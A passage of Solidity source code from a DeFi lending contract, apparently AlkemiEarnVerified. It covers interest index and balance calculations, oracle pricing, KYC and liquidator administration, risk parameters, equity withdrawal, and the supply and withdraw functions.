collateralAsset, we will accumulate // interest on it before transferring seized collateral from the borrower. uint256 currentSupplyBalance_LiquidatorCollateralAsset; // This will be the liquidator's accumulated balance of collateral asset before the liquidation (if any) // plus the amount seized from the borrower. uint256 updatedSupplyBalance_LiquidatorCollateralAsset; uint256 newTotalSupply_ProtocolCollateralAsset; uint256 currentCash_ProtocolUnderwaterAsset; uint256 updatedCash_ProtocolUnderwaterAsset; // cash does not change for collateral asset uint256 newSupplyRateMantissa_ProtocolUnderwaterAsset; uint256 newBorrowRateMantissa_ProtocolUnderwaterAsset; // Why no variables for the interest rates for the collateral asset? // We don't need to calculate new rates for the collateral asset since neither cash nor borrows change uint256 discountedRepayToEvenAmount; //[supplyCurrent / (1 + liquidationDiscount)] * (Oracle price for the collateral / Oracle price for the borrow) (discountedBorrowDenominatedCollateral) uint256 discountedBorrowDenominatedCollateral; uint256 maxCloseableBorrowAmount_TargetUnderwaterAsset; uint256 closeBorrowAmount_TargetUnderwaterAsset; uint256 seizeSupplyAmount_TargetCollateralAsset; uint256 reimburseAmount; Exp collateralPrice; Exp underwaterAssetPrice; } /** * @dev 2-level map: customerAddress -> assetAddress -> originationFeeBalance for borrows */ mapping(address => mapping(address => uint256)) public originationFeeBalance; /** * @dev Reward Control Contract address */ RewardControlInterface public rewardControl; /** * @notice Multiplier used to calculate the maximum repayAmount when liquidating a borrow */ uint256 public closeFactorMantissa; /// @dev _guardCounter and nonReentrant modifier extracted from Open Zeppelin's reEntrancyGuard /// @dev counter to allow mutex lock with only one SSTORE operation uint256 public _guardCounter; /** * @dev Prevents a contract from calling itself, directly or indirectly. * If you mark a function `nonReentrant`, you should also * mark it `external`. Calling one `nonReentrant` function from * another is not supported. Instead, you can implement a * `private` function doing the actual work, and an `external` * wrapper marked as `nonReentrant`. */ modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter); } /** * @dev Events to notify the frontend of all the functions below */ event LiquidatorChanged(address indexed Liquidator, bool newStatus); /** * @dev emitted when a supply is received * Note: newBalance - amount - startingBalance = interest accumulated since last change */ event SupplyReceived( address account, address asset, uint256 amount, uint256 startingBalance, uint256 newBalance ); /** * @dev emitted when a supply is withdrawn * Note: startingBalance - amount - startingBalance = interest accumulated since last change */ event SupplyWithdrawn( address account, address asset, uint256 amount, uint256 startingBalance, uint256 newBalance ); /** * @dev emitted when a new borrow is taken * Note: newBalance - borrowAmountWithFee - startingBalance = interest accumulated since last change */ event BorrowTaken( address account, address asset, uint256 amount, uint256 startingBalance, uint256 borrowAmountWithFee, uint256 newBalance ); /** * @dev emitted when a borrow is repaid * Note: newBalance - amount - startingBalance = interest accumulated since last change */ event BorrowRepaid( address account, address asset, uint256 amount, uint256 startingBalance, uint256 newBalance ); /** * @dev emitted when a borrow is liquidated * targetAccount = user whose borrow was liquidated * assetBorrow = asset borrowed * borrowBalanceBefore = borrowBalance as most recently stored before the liquidation * borrowBalanceAccumulated = borroBalanceBefore + accumulated interest as of immediately prior to the liquidation * amountRepaid = amount of borrow repaid * liquidator = account requesting the liquidation * assetCollateral = asset taken from targetUser and given to liquidator in exchange for liquidated loan * borrowBalanceAfter = new stored borrow balance (should equal borrowBalanceAccumulated - amountRepaid) * collateralBalanceBefore = collateral balance as most recently stored before the liquidation * collateralBalanceAccumulated = collateralBalanceBefore + accumulated interest as of immediately prior to the liquidation * amountSeized = amount of collateral seized by liquidator * collateralBalanceAfter = new stored collateral balance (should equal collateralBalanceAccumulated - amountSeized) * assetBorrow and assetCollateral are not indexed as indexed addresses in an event is limited to 3 */ event BorrowLiquidated( address indexed targetAccount, address assetBorrow, uint256 borrowBalanceAccumulated, uint256 amountRepaid, address indexed liquidator, address assetCollateral, uint256 amountSeized ); /** * @dev emitted when admin withdraws equity * Note that `equityAvailableBefore` indicates equity before `amount` was removed. */ event EquityWithdrawn( address indexed asset, uint256 equityAvailableBefore, uint256 amount, address indexed owner ); /** * @dev KYC Integration */ /** * @dev Events to notify the frontend of all the functions below */ event KYCAdminChanged(address indexed KYCAdmin, bool newStatus); event KYCCustomerChanged(address indexed KYCCustomer, bool newStatus); /** * @dev Function for use by the admin of the contract to add or remove KYC Admins */ function _changeKYCAdmin(address KYCAdmin, bool newStatus) public onlyOwner { KYCAdmins[KYCAdmin] = newStatus; emit KYCAdminChanged(KYCAdmin, newStatus); } /** * @dev Function for use by the KYC admins to add or remove KYC Customers */ function _changeCustomerKYC(address customer, bool newStatus) public { require(KYCAdmins[msg.sender], "KYC_ADMIN_CHECK_FAILED"); customersWithKYC[customer] = newStatus; emit KYCCustomerChanged(customer, newStatus); } /** * @dev Liquidator Integration */ /** * @dev Function for use by the admin of the contract to add or remove Liquidators */ function _changeLiquidator(address liquidator, bool newStatus) public onlyOwner { liquidators[liquidator] = newStatus; emit LiquidatorChanged(liquidator, newStatus); } /** * @dev Simple function to calculate min between two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { if (a < b) { return a; } else { return b; } } /** * @dev Adds a given asset to the list of collateral markets. This operation is impossible to reverse. * Note: this will not add the asset if it already exists. */ function addCollateralMarket(address asset) internal { for (uint256 i = 0; i < collateralMarkets.length; i++) { if (collateralMarkets[i] == asset) { return; } } collateralMarkets.push(asset); } /** * @dev Calculates a new supply index based on the prevailing interest rates applied over time * This is defined as `we multiply the most recent supply index by (1 + blocks times rate)` * @return Return value is expressed in 1e18 scale */ function calculateInterestIndex( uint256 startingInterestIndex, uint256 interestRateMantissa, uint256 blockStart, uint256 blockEnd ) internal pure returns (Error, uint256) { // Get the block delta (Error err0, uint256 blockDelta) = sub(blockEnd, blockStart); if (err0 != Error.NO_ERROR) { return (err0, 0); } // Scale the interest rate times number of blocks // Note: Doing Exp construction inline to avoid `CompilerError: Stack too deep, try removing local variables.` (Error err1, Exp memory blocksTimesRate) = mulScalar( Exp({mantissa: interestRateMantissa}), blockDelta ); if (err1 != Error.NO_ERROR) { return (err1, 0); } // Add one to that result (which is really Exp({mantissa: expScale}) which equals 1.0) (Error err2, Exp memory onePlusBlocksTimesRate) = addExp( blocksTimesRate, Exp({mantissa: mantissaOne}) ); if (err2 != Error.NO_ERROR) { return (err2, 0); } // Then scale that accumulated interest by the old interest index to get the new interest index (Error err3, Exp memory newInterestIndexExp) = mulScalar( onePlusBlocksTimesRate, startingInterestIndex ); if (err3 != Error.NO_ERROR) { return (err3, 0); } // Finally, truncate the interest index. This works only if interest index starts large enough // that is can be accurately represented with a whole number. return (Error.NO_ERROR, truncate(newInterestIndexExp)); } /** * @dev Calculates a new balance based on a previous balance and a pair of interest indices * This is defined as: `The user's last balance checkpoint is multiplied by the currentSupplyIndex * value and divided by the user's checkpoint index value` * @return Return value is expressed in 1e18 scale */ function calculateBalance( uint256 startingBalance, uint256 interestIndexStart, uint256 interestIndexEnd ) internal pure returns (Error, uint256) { if (startingBalance == 0) { // We are accumulating interest on any previous balance; if there's no previous balance, then there is // nothing to accumulate. return (Error.NO_ERROR, 0); } (Error err0, uint256 balanceTimesIndex) = mul( startingBalance, interestIndexEnd ); if (err0 != Error.NO_ERROR) { return (err0, 0); } return div(balanceTimesIndex, interestIndexStart); } /** * @dev Gets the price for the amount specified of the given asset. * @return Return value is expressed in a magnified scale per token decimals */ function getPriceForAssetAmount( address asset, uint256 assetAmount, bool mulCollatRatio ) internal view returns (Error, Exp memory) { (Error err, Exp memory assetPrice) = fetchAssetPrice(asset); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0})); } if (isZeroExp(assetPrice)) { return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0})); } if (mulCollatRatio) { Exp memory scaledPrice; // Now, multiply the assetValue by the collateral ratio (err, scaledPrice) = mulExp(collateralRatio, assetPrice); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0})); } // Get the price for the given asset amount return mulScalar(scaledPrice, assetAmount); } return mulScalar(assetPrice, assetAmount); // assetAmountWei * oraclePrice = assetValueInEth } /** * @dev Calculates the origination fee added to a given borrowAmount * This is simply `(1 + originationFee) * borrowAmount` * @return Return value is expressed in 1e18 scale */ function calculateBorrowAmountWithFee(uint256 borrowAmount) internal view returns (Error, uint256) { // When origination fee is zero, the amount with fee is simply equal to the amount if (isZeroExp(originationFee)) { return (Error.NO_ERROR, borrowAmount); } (Error err0, Exp memory originationFeeFactor) = addExp( originationFee, Exp({mantissa: mantissaOne}) ); if (err0 != Error.NO_ERROR) { return (err0, 0); } (Error err1, Exp memory borrowAmountWithFee) = mulScalar( originationFeeFactor, borrowAmount ); if (err1 != Error.NO_ERROR) { return (err1, 0); } return (Error.NO_ERROR, truncate(borrowAmountWithFee)); } /** * @dev fetches the price of asset from the PriceOracle and converts it to Exp * @param asset asset whose price should be fetched * @return Return value is expressed in a magnified scale per token decimals */ function fetchAssetPrice(address asset) internal view returns (Error, Exp memory) { if (priceOracle == address(0)) { return (Error.ZERO_ORACLE_ADDRESS, Exp({mantissa: 0})); } if (priceOracle.paused()) { return (Error.MISSING_ASSET_PRICE, Exp({mantissa: 0})); } (uint256 priceMantissa, uint8 assetDecimals) = priceOracle .getAssetPrice(asset); (Error err, uint256 magnification) = sub(18, uint256(assetDecimals)); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0})); } (err, priceMantissa) = mul(priceMantissa, 10**magnification); if (err != Error.NO_ERROR) { return (err, Exp({mantissa: 0})); } return (Error.NO_ERROR, Exp({mantissa: priceMantissa})); } /** * @notice Reads scaled price of specified asset from the price oracle * @dev Reads scaled price of specified asset from the price oracle. * The plural name is to match a previous storage mapping that this function replaced. * @param asset Asset whose price should be retrieved * @return 0 on an error or missing price, the price scaled by 1e18 otherwise */ function assetPrices(address asset) public view returns (uint256) { (Error err, Exp memory result) = fetchAssetPrice(asset); if (err != Error.NO_ERROR) { return 0; } return result.mantissa; } /** * @dev Gets the amount of the specified asset given the specified Eth value * ethValue / oraclePrice = assetAmountWei * If there's no oraclePrice, this returns (Error.DIVISION_BY_ZERO, 0) * @return Return value is expressed in a magnified scale per token decimals */ function getAssetAmountForValue(address asset, Exp ethValue) internal view returns (Error, uint256) { Error err; Exp memory assetPrice; Exp memory assetAmount; (err, assetPrice) = fetchAssetPrice(asset); if (err != Error.NO_ERROR) { return (err, 0); } (err, assetAmount) = divExp(ethValue, assetPrice); if (err != Error.NO_ERROR) { return (err, 0); } return (Error.NO_ERROR, truncate(assetAmount)); } /** * @notice Admin Functions. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @dev Admin function to begin change of admin. The newPendingAdmin must call `_acceptAdmin` to finalize the transfer. * @param newPendingAdmin New pending admin * @param newOracle New oracle address * @param requestedState value to assign to `paused` * @param originationFeeMantissa rational collateral ratio, scaled by 1e18. * @param newCloseFactorMantissa new Close Factor, scaled by 1e18 * @param wethContractAddress WETH Contract Address * @param _rewardControl Reward Control Address * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _adminFunctions( address newPendingAdmin, address newOracle, bool requestedState, uint256 originationFeeMantissa, uint256 newCloseFactorMantissa, address wethContractAddress, address _rewardControl ) public onlyOwner returns (uint256) { // newPendingAdmin can be 0x00, hence not checked require(newOracle != address(0), "Cannot set weth address to 0x00"); require( originationFeeMantissa < 10**18 && newCloseFactorMantissa < 10**18, "Invalid Origination Fee or Close Factor Mantissa" ); // Store pendingAdmin = newPendingAdmin pendingAdmin = newPendingAdmin; // Verify contract at newOracle address supports assetPrices call. // This will revert if it doesn't. // ChainLink priceOracleTemp = ChainLink(newOracle); // priceOracleTemp.getAssetPrice(address(0)); // Initialize the Chainlink contract in priceOracle priceOracle = ChainLink(newOracle); paused = requestedState; originationFee = Exp({mantissa: originationFeeMantissa}); closeFactorMantissa = newCloseFactorMantissa; require( wethContractAddress != address(0), "Cannot set weth address to 0x00" ); wethAddress = wethContractAddress; WETHContract = AlkemiWETH(wethAddress); rewardControl = RewardControlInterface(_rewardControl); return uint256(Error.NO_ERROR); } /** * @notice Accepts transfer of admin rights. msg.sender must be pendingAdmin * @dev Admin function for pending admin to accept role and update admin */ function _acceptAdmin() public { // Check caller = pendingAdmin // msg.sender can't be zero require(msg.sender == pendingAdmin, "ACCEPT_ADMIN_PENDING_ADMIN_CHECK"); // Store admin = pendingAdmin admin = pendingAdmin; // Clear the pending value pendingAdmin = 0; } /** * @notice returns the liquidity for given account. * a positive result indicates ability to borrow, whereas * a negative result indicates a shortfall which may be liquidated * @dev returns account liquidity in terms of eth-wei value, scaled by 1e18 and truncated when the value is 0 or when the last few decimals are 0 * note: this includes interest trued up on all balances * @param account the account to examine * @return signed integer in terms of eth-wei (negative indicates a shortfall) */ function getAccountLiquidity(address account) public view returns (int256) { ( Error err, Exp memory accountLiquidity, Exp memory accountShortfall ) = calculateAccountLiquidity(account); revertIfError(err); if (isZeroExp(accountLiquidity)) { return -1 * int256(truncate(accountShortfall)); } else { return int256(truncate(accountLiquidity)); } } /** * @notice return supply balance with any accumulated interest for `asset` belonging to `account` * @dev returns supply balance with any accumulated interest for `asset` belonging to `account` * @param account the account to examine * @param asset the market asset whose supply balance belonging to `account` should be checked * @return uint supply balance on success, throws on failed assertion otherwise */ function getSupplyBalance(address account, address asset) public view returns (uint256) { Error err; uint256 newSupplyIndex; uint256 userSupplyCurrent; Market storage market = markets[asset]; Balance storage supplyBalance = supplyBalances[account][asset]; // Calculate the newSupplyIndex, needed to calculate user's supplyCurrent (err, newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); revertIfError(err); // Use newSupplyIndex and stored principal to calculate the accumulated balance (err, userSupplyCurrent) = calculateBalance( supplyBalance.principal, supplyBalance.interestIndex, newSupplyIndex ); revertIfError(err); return userSupplyCurrent; } /** * @notice return borrow balance with any accumulated interest for `asset` belonging to `account` * @dev returns borrow balance with any accumulated interest for `asset` belonging to `account` * @param account the account to examine * @param asset the market asset whose borrow balance belonging to `account` should be checked * @return uint borrow balance on success, throws on failed assertion otherwise */ function getBorrowBalance(address account, address asset) public view returns (uint256) { Error err; uint256 newBorrowIndex; uint256 userBorrowCurrent; Market storage market = markets[asset]; Balance storage borrowBalance = borrowBalances[account][asset]; // Calculate the newBorrowIndex, needed to calculate user's borrowCurrent (err, newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); revertIfError(err); // Use newBorrowIndex and stored principal to calculate the accumulated balance (err, userBorrowCurrent) = calculateBalance( borrowBalance.principal, borrowBalance.interestIndex, newBorrowIndex ); revertIfError(err); return userBorrowCurrent; } /** * @notice Supports a given market (asset) for use * @dev Admin function to add support for a market * @param asset Asset to support; MUST already have a non-zero price set * @param interestRateModel InterestRateModel to use for the asset * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _supportMarket(address asset, InterestRateModel interestRateModel) public onlyOwner returns (uint256) { // Hard cap on the maximum number of markets allowed require( interestRateModel != address(0) && collateralMarkets.length < 16, // 16 = MAXIMUM_NUMBER_OF_MARKETS_ALLOWED "INPUT_VALIDATION_FAILED" ); (Error err, Exp memory assetPrice) = fetchAssetPrice(asset); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.SUPPORT_MARKET_FETCH_PRICE_FAILED); } if (isZeroExp(assetPrice)) { return fail( Error.ASSET_NOT_PRICED, FailureInfo.SUPPORT_MARKET_PRICE_CHECK ); } // Set the interest rate model to `modelAddress` markets[asset].interestRateModel = interestRateModel; // Append asset to collateralAssets if not set addCollateralMarket(asset); // Set market isSupported to true markets[asset].isSupported = true; // Default supply and borrow index to 1e18 if (markets[asset].supplyIndex == 0) { markets[asset].supplyIndex = initialInterestIndex; } if (markets[asset].borrowIndex == 0) { markets[asset].borrowIndex = initialInterestIndex; } return uint256(Error.NO_ERROR); } /** * @notice Suspends a given *supported* market (asset) from use. * Assets in this state do count for collateral, but users may only withdraw, payBorrow, * and liquidate the asset. The liquidate function no longer checks collateralization. * @dev Admin function to suspend a market * @param asset Asset to suspend * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _suspendMarket(address asset) public onlyOwner returns (uint256) { // If the market is not configured at all, we don't want to add any configuration for it. // If we find !markets[asset].isSupported then either the market is not configured at all, or it // has already been marked as unsupported. We can just return without doing anything. // Caller is responsible for knowing the difference between not-configured and already unsupported. if (!markets[asset].isSupported) { return uint256(Error.NO_ERROR); } // If we get here, we know market is configured and is supported, so set isSupported to false markets[asset].isSupported = false; return uint256(Error.NO_ERROR); } /** * @notice Sets the risk parameters: collateral ratio and liquidation discount * @dev Owner function to set the risk parameters * @param collateralRatioMantissa rational collateral ratio, scaled by 1e18. The de-scaled value must be >= 1.1 * @param liquidationDiscountMantissa rational liquidation discount, scaled by 1e18. The de-scaled value must be <= 0.1 and must be less than (descaled collateral ratio minus 1) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setRiskParameters( uint256 collateralRatioMantissa, uint256 liquidationDiscountMantissa ) public onlyOwner returns (uint256) { // Input validations require( collateralRatioMantissa >= minimumCollateralRatioMantissa && liquidationDiscountMantissa <= maximumLiquidationDiscountMantissa, "Liquidation discount is more than max discount or collateral ratio is less than min ratio" ); Exp memory newCollateralRatio = Exp({ mantissa: collateralRatioMantissa }); Exp memory newLiquidationDiscount = Exp({ mantissa: liquidationDiscountMantissa }); Exp memory minimumCollateralRatio = Exp({ mantissa: minimumCollateralRatioMantissa }); Exp memory maximumLiquidationDiscount = Exp({ mantissa: maximumLiquidationDiscountMantissa }); Error err; Exp memory newLiquidationDiscountPlusOne; // Make sure new collateral ratio value is not below minimum value if (lessThanExp(newCollateralRatio, minimumCollateralRatio)) { return fail( Error.INVALID_COLLATERAL_RATIO, FailureInfo.SET_RISK_PARAMETERS_VALIDATION ); } // Make sure new liquidation discount does not exceed the maximum value, but reverse operands so we can use the // existing `lessThanExp` function rather than adding a `greaterThan` function to Exponential. if (lessThanExp(maximumLiquidationDiscount, newLiquidationDiscount)) { return fail( Error.INVALID_LIQUIDATION_DISCOUNT, FailureInfo.SET_RISK_PARAMETERS_VALIDATION ); } // C = L+1 is not allowed because it would cause division by zero error in `calculateDiscountedRepayToEvenAmount` // C < L+1 is not allowed because it would cause integer underflow error in `calculateDiscountedRepayToEvenAmount` (err, newLiquidationDiscountPlusOne) = addExp( newLiquidationDiscount, Exp({mantissa: mantissaOne}) ); revertIfError(err); // We already validated that newLiquidationDiscount does not approach overflow size if ( lessThanOrEqualExp( newCollateralRatio, newLiquidationDiscountPlusOne ) ) { return fail( Error.INVALID_COMBINED_RISK_PARAMETERS, FailureInfo.SET_RISK_PARAMETERS_VALIDATION ); } // Store new values collateralRatio = newCollateralRatio; liquidationDiscount = newLiquidationDiscount; return uint256(Error.NO_ERROR); } /** * @notice Sets the interest rate model for a given market * @dev Admin function to set interest rate model * @param asset Asset to support * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _setMarketInterestRateModel( address asset, InterestRateModel interestRateModel ) public onlyOwner returns (uint256) { require(interestRateModel != address(0), "Rate Model cannot be 0x00"); // Set the interest rate model to `modelAddress` markets[asset].interestRateModel = interestRateModel; return uint256(Error.NO_ERROR); } /** * @notice withdraws `amount` of `asset` from equity for asset, as long as `amount` <= equity. Equity = cash + borrows - supply * @dev withdraws `amount` of `asset` from equity for asset, enforcing amount <= cash + borrows - supply * @param asset asset whose equity should be withdrawn * @param amount amount of equity to withdraw; must not exceed equity available * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function _withdrawEquity(address asset, uint256 amount) public onlyOwner returns (uint256) { // Check that amount is less than cash (from ERC-20 of self) plus borrows minus supply. uint256 cash = getCash(asset); // Get supply and borrows with interest accrued till the latest block ( uint256 supplyWithInterest, uint256 borrowWithInterest ) = getMarketBalances(asset); (Error err0, uint256 equity) = addThenSub( getCash(asset), borrowWithInterest, supplyWithInterest ); if (err0 != Error.NO_ERROR) { return fail(err0, FailureInfo.EQUITY_WITHDRAWAL_CALCULATE_EQUITY); } if (amount > equity) { return fail( Error.EQUITY_INSUFFICIENT_BALANCE, FailureInfo.EQUITY_WITHDRAWAL_AMOUNT_VALIDATION ); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) if (asset != wethAddress) { // Withdrawal should happen as Ether directly // We ERC-20 transfer the asset out of the protocol to the admin Error err2 = doTransferOut(asset, admin, amount); if (err2 != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail( err2, FailureInfo.EQUITY_WITHDRAWAL_TRANSFER_OUT_FAILED ); } } else { withdrawEther(admin, amount); // send Ether to user } (, markets[asset].supplyRateMantissa) = markets[asset] .interestRateModel .getSupplyRate(asset, cash - amount, markets[asset].totalSupply); (, markets[asset].borrowRateMantissa) = markets[asset] .interestRateModel .getBorrowRate(asset, cash - amount, markets[asset].totalBorrows); //event EquityWithdrawn(address asset, uint equityAvailableBefore, uint amount, address owner) emit EquityWithdrawn(asset, equity, amount, admin); return uint256(Error.NO_ERROR); // success } /** * @dev Convert Ether supplied by user into WETH tokens and then supply corresponding WETH to user * @return errors if any * @param etherAmount Amount of ether to be converted to WETH */ function supplyEther(uint256 etherAmount) internal returns (uint256) { require(wethAddress != address(0), "WETH_ADDRESS_NOT_SET_ERROR"); WETHContract.deposit.value(etherAmount)(); return uint256(Error.NO_ERROR); } /** * @dev Revert Ether paid by user back to user's account in case transaction fails due to some other reason * @param etherAmount Amount of ether to be sent back to user * @param user User account address */ function revertEtherToUser(address user, uint256 etherAmount) internal { if (etherAmount > 0) { user.transfer(etherAmount); } } /** * @notice supply `amount` of `asset` (which must be supported) to `msg.sender` in the protocol * @dev add amount of supported asset to msg.sender's account * @param asset The market asset to supply * @param amount The amount to supply * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function supply(address asset, uint256 amount) public payable nonReentrant onlyCustomerWithKYC returns (uint256) { if (paused) { revertEtherToUser(msg.sender, msg.value); return fail(Error.CONTRACT_PAUSED, FailureInfo.SUPPLY_CONTRACT_PAUSED); } refreshAlkIndex(asset, msg.sender, true, true); Market storage market = markets[asset]; Balance storage balance = supplyBalances[msg.sender][asset]; SupplyLocalVars memory localResults; // Holds all our uint calculation results Error err; // Re-used for every function call that includes an Error in its return value(s). uint256 rateCalculationResultCode; // Used for 2 interest rate calculation calls // Fail if market not supported if (!market.isSupported) { revertEtherToUser(msg.sender, msg.value); return fail( Error.MARKET_NOT_SUPPORTED, FailureInfo.SUPPLY_MARKET_NOT_SUPPORTED ); } if (asset != wethAddress) { // WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically // Fail gracefully if asset is not approved or has insufficient balance revertEtherToUser(msg.sender, msg.value); err = checkTransferIn(asset, msg.sender, amount); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_NOT_POSSIBLE); } } // We calculate the newSupplyIndex, user's supplyCurrent and supplyUpdated for the asset (err, localResults.newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.SUPPLY_NEW_SUPPLY_INDEX_CALCULATION_FAILED ); } (err, localResults.userSupplyCurrent) = calculateBalance( balance.principal, balance.interestIndex, localResults.newSupplyIndex ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.SUPPLY_ACCUMULATED_BALANCE_CALCULATION_FAILED ); } (err, localResults.userSupplyUpdated) = add( localResults.userSupplyCurrent, amount ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.SUPPLY_NEW_TOTAL_BALANCE_CALCULATION_FAILED ); } // We calculate the protocol's totalSupply by subtracting the user's prior checkpointed balance, adding user's updated supply (err, localResults.newTotalSupply) = addThenSub( market.totalSupply, localResults.userSupplyUpdated, balance.principal ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.SUPPLY_NEW_TOTAL_SUPPLY_CALCULATION_FAILED ); } // We need to calculate what the updated cash will be after we transfer in from user localResults.currentCash = getCash(asset); (err, localResults.updatedCash) = add(localResults.currentCash, amount); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail(err, FailureInfo.SUPPLY_NEW_TOTAL_CASH_CALCULATION_FAILED); } // The utilization rate has changed! We calculate a new supply index and borrow index for the asset, and save it. (rateCalculationResultCode, localResults.newSupplyRateMantissa) = market .interestRateModel .getSupplyRate(asset, localResults.updatedCash, market.totalBorrows); if (rateCalculationResultCode != 0) { revertEtherToUser(msg.sender, msg.value); return failOpaque( FailureInfo.SUPPLY_NEW_SUPPLY_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } // We calculate the newBorrowIndex (we already had newSupplyIndex) (err, localResults.newBorrowIndex) = calculateInterestIndex( market.borrowIndex, market.borrowRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { revertEtherToUser(msg.sender, msg.value); return fail( err, FailureInfo.SUPPLY_NEW_BORROW_INDEX_CALCULATION_FAILED ); } (rateCalculationResultCode, localResults.newBorrowRateMantissa) = market .interestRateModel .getBorrowRate(asset, localResults.updatedCash, market.totalBorrows); if (rateCalculationResultCode != 0) { revertEtherToUser(msg.sender, msg.value); return failOpaque( FailureInfo.SUPPLY_NEW_BORROW_RATE_CALCULATION_FAILED, rateCalculationResultCode ); } ///////////////////////// // EFFECTS & INTERACTIONS // (No safe failures beyond this point) // Save market updates market.blockNumber = block.number; market.totalSupply = localResults.newTotalSupply; market.supplyRateMantissa = localResults.newSupplyRateMantissa; market.supplyIndex = localResults.newSupplyIndex; market.borrowRateMantissa = localResults.newBorrowRateMantissa; market.borrowIndex = localResults.newBorrowIndex; // Save user updates localResults.startingBalance = balance.principal; // save for use in `SupplyReceived` event balance.principal = localResults.userSupplyUpdated; balance.interestIndex = localResults.newSupplyIndex; if (asset != wethAddress) { // WETH is supplied to AlkemiEarnVerified contract in case of ETH automatically // We ERC-20 transfer the asset into the protocol (note: pre-conditions already checked above) revertEtherToUser(msg.sender, msg.value); err = doTransferIn(asset, msg.sender, amount); if (err != Error.NO_ERROR) { // This is safe since it's our first interaction and it didn't do anything if it failed return fail(err, FailureInfo.SUPPLY_TRANSFER_IN_FAILED); } } else { if (msg.value == amount) { uint256 supplyError = supplyEther(msg.value); if (supplyError != 0) { revertEtherToUser(msg.sender, msg.value); return fail( Error.WETH_ADDRESS_NOT_SET_ERROR, FailureInfo.WETH_ADDRESS_NOT_SET_ERROR ); } } else { revertEtherToUser(msg.sender, msg.value); return fail( Error.ETHER_AMOUNT_MISMATCH_ERROR, FailureInfo.ETHER_AMOUNT_MISMATCH_ERROR ); } } emit SupplyReceived( msg.sender, asset, amount, localResults.startingBalance, balance.principal ); return uint256(Error.NO_ERROR); // success } /** * @notice withdraw `amount` of `ether` from sender's account to sender's address * @dev withdraw `amount` of `ether` from msg.sender's account to msg.sender * @param etherAmount Amount of ether to be converted to WETH * @param user User account address */ function withdrawEther(address user, uint256 etherAmount) internal returns (uint256) { WETHContract.withdraw(user, etherAmount); return uint256(Error.NO_ERROR); } /** * @notice withdraw `amount` of `asset` from sender's account to sender's address * @dev withdraw `amount` of `asset` from msg.sender's account to msg.sender * @param asset The market asset to withdraw * @param requestedAmount The amount to withdraw (or -1 for max) * @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details) */ function withdraw(address asset, uint256 requestedAmount) public nonReentrant returns (uint256) { if (paused) { return fail( Error.CONTRACT_PAUSED, FailureInfo.WITHDRAW_CONTRACT_PAUSED ); } refreshAlkIndex(asset, msg.sender, true, true); Market storage market = markets[asset]; Balance storage supplyBalance = supplyBalances[msg.sender][asset]; WithdrawLocalVars memory localResults; // Holds all our calculation results Error err; // Re-used for every function call that includes an Error in its return value(s). uint256 rateCalculationResultCode; // Used for 2 interest rate calculation calls // We calculate the user's accountLiquidity and accountShortfall. ( err, localResults.accountLiquidity, localResults.accountShortfall ) = calculateAccountLiquidity(msg.sender); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.WITHDRAW_ACCOUNT_LIQUIDITY_CALCULATION_FAILED ); } // We calculate the newSupplyIndex, user's supplyCurrent and supplyUpdated for the asset (err, localResults.newSupplyIndex) = calculateInterestIndex( market.supplyIndex, market.supplyRateMantissa, market.blockNumber, block.number ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.WITHDRAW_NEW_SUPPLY_INDEX_CALCULATION_FAILED ); } (err, localResults.userSupplyCurrent) = calculateBalance( supplyBalance.principal, supplyBalance.interestIndex, localResults.newSupplyIndex ); if (err != Error.NO_ERROR) { return fail( err, FailureInfo.WITHDRAW_ACCUMULATED_BALANCE_CALCULATION_FAILED ); } // If the user specifies -1 amount to withdraw ("max"), withdrawAmount => the lesser of withdrawCapacity and supplyCurrent if (requestedAmount == uint256(-1)) { (err, localResults.withdrawCapacity) = getAssetAmountForValue( asset, localResults.accountLiquidity ); if (err != Error.NO_ERROR) { return fail(err, FailureInfo.WITHDRAW_CAPACITY_CALCULATION_FAILED); } localResults.withdrawAmount = min( localResults.withdrawCapacity, localResults.userSupplyCurrent ); } else { localResults.withdrawAmount = requestedAmount; } // From here on we should NOT use requestedAmount. // Fail gracefully if protocol has insufficient cash // If protocol has insufficient cash, the sub operation will underflow. localResults.currentCash = getCash(asset); (err, localResults.updatedCash) = sub( localResults.currentCash, localResults.withdrawAmount ); if (err != Error.NO_ERROR) { return fail( Error.TOKEN_INSUFFICIENT_CASH, FailureInfo.WITHDRAW_TRANSFER_OUT_NOT_POSSIBLE ); } // We check that the amount is less than or equal to supplyCurrent // If amount is greater than supplyCurrent, this will fail with Error.INTEGER_UNDERFLOW 